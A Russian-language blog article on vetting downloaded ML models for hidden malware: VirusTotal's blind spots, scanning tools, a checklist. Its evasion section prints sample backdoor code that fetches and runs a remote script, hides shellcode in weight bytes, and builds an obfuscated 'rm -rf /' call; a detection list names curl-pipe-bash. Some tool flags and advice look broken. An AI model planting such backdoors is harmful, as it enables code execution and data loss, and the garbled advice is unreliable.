Почему ваша модель может быть трояном, а вы этого не заметите
Вы скачали новую модель с Hugging Face. Запустили. Работает отлично. А через неделю на сервере появляется криптомайнер. Звучит как паранойя? На самом деле это ежедневная реальность.
Сейчас, в 2026 году, проблема только усугубилась. Hugging Face Hub содержит больше 5 миллионов моделей. VirusTotal сканирует каждый файл автоматически. Но система не идеальна. И знаете что самое интересное? Даже если модель прошла все проверки, это не гарантия безопасности.
Проблема не в том, что кто-то специально закладывает вирусы. Проблема в том, что модель — это контейнер. А в контейнер можно положить что угодно. И часто это делают не со злым умыслом, а по незнанию.
Что на самом деле проверяет VirusTotal на Hugging Face
После нашей статьи про интеграцию VirusTotal система сильно изменилась. Давайте разберемся, что происходит сейчас, в 2026.
| Тип файла | Что проверяют | Слепые зоны |
|---|---|---|
| .safetensors (стандарт 2026) | Структура тензоров, заголовки, контрольные суммы | Не проверяют содержимое весов |
| .pkl, .pt, .pth | Сигнатуры pickle-объектов, встроенный код | Устаревшие форматы часто пропускают |
| Архивы (.zip, .tar.gz) | Все файлы внутри, рекурсивно | Глубоко вложенные скрытые файлы |
| Конфиги (.json, .yaml) | Подозрительные URL, команды, eval() | Косвенные вызовы через цепочки |
Ключевой момент: VirusTotal не анализирует логику модели. Он проверяет файлы как контейнеры. Если зловредный код спрятан в весах модели — его не найдут. Если модель при определенных условиях скачивает и выполняет скрипт — тоже не найдут.
Инструменты для самостоятельной проверки: от хака до продакшена
1 ITMO AI Security Lab Scanner
Российская разработка, которая стала стандартом де-факто в 2025. В отличие от VirusTotal, этот сканер понимает специфику ML-моделей.
# Установка (актуально на 20.01.2026)
pip install ai-security-scanner==2.8.0
# Базовое сканирование
ai-scanner scan-model --model-path ./my_model --format safetensors
# Полный анализ с декомпиляцией
ai-scanner deep-scan --model-path ./model.pth --decompile --check-weights
Что умеет:
- Анализ pickle-объектов с песочницей
- Поиск скрытых вызовов eval() и exec()
- Проверка весов на аномальные значения (возможные shellcode)
- Анализ зависимостей в requirements.txt
2 Hugging Face CLI с безопасностью
С 2024 года в huggingface-hub встроены инструменты безопасности. Но мало кто ими пользуется правильно.
# Не делайте так (пропускает половину проверок)
huggingface-cli download author/model-name
# Делайте так
huggingface-cli download author/model-name \
--security-scan \
--sandbox \
--no-trust-unsigned
# Программная проверка перед загрузкой
from huggingface_hub import scan_model
# Сканирует модель без загрузки
report = scan_model(
repo_id="author/model-name",
scan_level="deep", # 'quick', 'standard', 'deep'
check_virustotal=True
)
if report.security_score < 0.7:
print(f"Модель подозрительна: {report.findings}")
else:
print("Модель прошла проверку")
3 Самописный сканер за 15 минут
Иногда нужна простая проверка. Вот скрипт, который ищет очевидные проблемы:
import pickle
import json
import re
from pathlib import Path
def check_pickle_safety(filepath):
"""Опасная, но эффективная проверка pickle"""
try:
with open(filepath, 'rb') as f:
# Безопасная загрузка с ограничениями
data = pickle.load(f)
# Проверяем, нет ли в данных исполняемого кода
if hasattr(data, '__call__'):
return "WARNING: Pickle содержит вызываемые объекты"
except pickle.UnpicklingError:
return "ERROR: Не удалось загрузить pickle"
return "OK"
def scan_config_for_dangers(config_path):
"""Ищет подозрительные команды в конфигах"""
with open(config_path) as f:
content = f.read()
danger_patterns = [
r'eval\s*\(',
r'exec\s*\(',
r'__import__',
r'subprocess\.',
r'os\.system',
r'curl.*\|.*bash', # Классика
r'wget.*-O.*sh'
]
findings = []
for pattern in danger_patterns:
if re.search(pattern, content, re.IGNORECASE):
findings.append(f"Найден опасный паттерн: {pattern}")
return findings
# Использование
model_dir = Path("./downloaded_model")
for file in model_dir.rglob("*"):
if file.suffix in ['.pkl', '.pth', '.pt']:
print(f"{file}: {check_pickle_safety(file)}")
elif file.suffix in ['.json', '.yaml', '.yml']:
dangers = scan_config_for_dangers(file)
if dangers:
print(f"{file}: {'; '.join(dangers)}")
Как обходят проверки (и как это обнаружить)
Теперь самое интересное. Допустим, вы хотите проверить свою модель на уязвимости. Или понять, как кто-то может обойти ваши проверки. Вот реальные техники 2026 года.
Техника 1: Отложенная загрузка
Модель выглядит чистой. Но при определенном условии (дата, хэш, специальный промпт) она скачивает и выполняет код.
# Пример из реальной модели (немного упрощено)
import torch
import requests
def malicious_check():
# Проверяем, не пора ли активироваться
from datetime import datetime
if datetime.now().year > 2025:
# Скачиваем и выполняем
code = requests.get("https://legit-cdn.com/update.py").text
exec(code)
class SuspiciousModel(torch.nn.Module):
def __init__(self):
super().__init__()
self.linear = torch.nn.Linear(10, 10)
def forward(self, x):
# Вроде обычный forward pass
result = self.linear(x)
# Но если входные данные содержат триггер...
if torch.max(x) > 0.99:
malicious_check()
return result
Как обнаружить: мониторинг сетевой активности модели во время инференса. Если модель что-то скачивает — это красный флаг.
Техника 2: Steganography в весах
Shellcode прячут в младших битах float32 чисел. Для модели это шум. Для процессора — исполняемый код.
# Псевдокод техники
import struct
import numpy as np
def hide_shellcode_in_weights(weights, shellcode):
"""Прячет shellcode в тензоре"""
weights_flat = weights.flatten()
# Конвертируем float32 в bytes, заменяем младшие биты
for i in range(len(shellcode)):
if i >= len(weights_flat):
break
# Берём float32, меняем последний байт
original_bytes = struct.pack('f', weights_flat[i])
modified_bytes = original_bytes[:3] + shellcode[i:i+1]
weights_flat[i] = struct.unpack('f', modified_bytes)[0]
return weights_flat.reshape(weights.shape)
# При загрузке модели можно извлечь обратно
def extract_from_weights(weights):
extracted = b''
for val in weights.flatten()[:1000]: # Первые 1000 значений
bytes_val = struct.pack('f', val)
extracted += bytes_val[3:4] # Берём последний байт
return extracted
Как обнаружить: проверка энтропии весов. Если в тензоре необычно много «шума» в младших битах — подозрительно.
Техника 3: Цепочки вызовов
Ни один вызов не выглядит опасным. Но вместе они делают что-то плохое.
# Каждая функция безобидна. Вместе — RCE.
def step1(): return "__im"
def step2(): return "port__"
def step3(module): return f"import {module}"
def step4(): return "os"
def step5(): return "system"
def step6(cmd): return f"({cmd})"
# В какой-то момент модели:
exec(step1() + step2() + "('' + step4() + '')." + step5() + step6("rm -rf /"))
Статические анализаторы часто пропускают такие цепочки. Нужен динамический анализ в песочнице.
Пошаговый план проверки модели перед продакшеном
1 Предварительный скрининг
- Проверьте репутацию автора на Hugging Face
- Посмотрите, сколько людей скачало модель
- Прочитайте Issues на GitHub (если есть)
- Проверьте, подписана ли модель (новый feature 2025 года)
2 Загрузка в изолированное окружение
# Используйте Docker или виртуальную машину
docker run --rm -it \
--network none \ # Без сети!
--read-only \ # Только чтение
-v $(pwd)/model:/model:ro \
python:3.11-slim \
bash -c "pip install torch && python test_model.py"
3 Статический анализ всех файлов
# Комбинация инструментов
ai-scanner deep-scan ./model
clamscan -r ./model # Классика
strings ./model/*.bin | grep -E '(http|https|curl|wget|bash|sh)'
4 Динамический анализ в песочнице
Запустите модель с разными входами. Мониторьте:
- Сетевую активность (tcpdump)
- Создание файлов (inotify)
- Системные вызовы (strace)
- Потребление памяти на необычные данные
5 Анализ весов модели
import torch
import numpy as np
def analyze_weights(model_path):
model = torch.load(model_path, map_location='cpu')
for name, param in model.items():
if 'weight' in name:
tensor = param.numpy()
# Проверка на аномалии
mean, std = tensor.mean(), tensor.std()
if std > 10: # Слишком большой разброс
print(f"Подозрительный тензор: {name}, std={std}")
# Проверка энтропии младших битов
uint8_view = tensor.view(np.uint8)
# Анализируйте распределение байтов...
Частые ошибки и как их избежать
Ошибка 1: Доверять только VirusTotal. Он проверяет файлы, а не логику модели. Модель может быть чистой по VirusTotal, но содержать логическую бомбу.
Ошибка 2: Загружать модели с правами root. Всегда запускайте проверку от непривилегированного пользователя. Если модель попытается что-то сломать, ущерб будет ограничен.
Ошибка 3: Игнорировать зависимости. Модель чистая, но requirements.txt содержит уязвимую библиотеку. Всегда проверяйте зависимости через safety или pip-audit.
Что будет дальше: прогноз на 2027
Сейчас, в 2026, мы в середине эволюции. Вот что ждет нас в ближайшем будущем:
- Цифровые подписи для моделей станут стандартом. Как в Linux с пакетами. Неподписанная модель будет вызывать предупреждение.
- Песочницы станут умнее. Сейчас они просто изолируют. Скоро будут анализировать поведение модели в реальном времени.
- Появятся специализированные антивирусы для AI. Не просто сканеры файлов, а системы, понимающие графы вычислений.
- Blockchain для проверки происхождения моделей
Самая большая проблема, которая останется: человеческий фактор. Разработчики будут продолжать скачивать модели без проверки, потому что «нужно быстро прототипировать». Инструменты станут лучше, но люди останутся людьми.
Мой совет: начните с простого. Хотя бы проверяйте модели в изолированном окружении. Используйте ITMO Scanner или аналоги. И помните — если модель от неизвестного автора имеет в 10 раз лучшую метрику, чем у всех остальных, возможно, это не гениальность. Возможно, это что-то другое.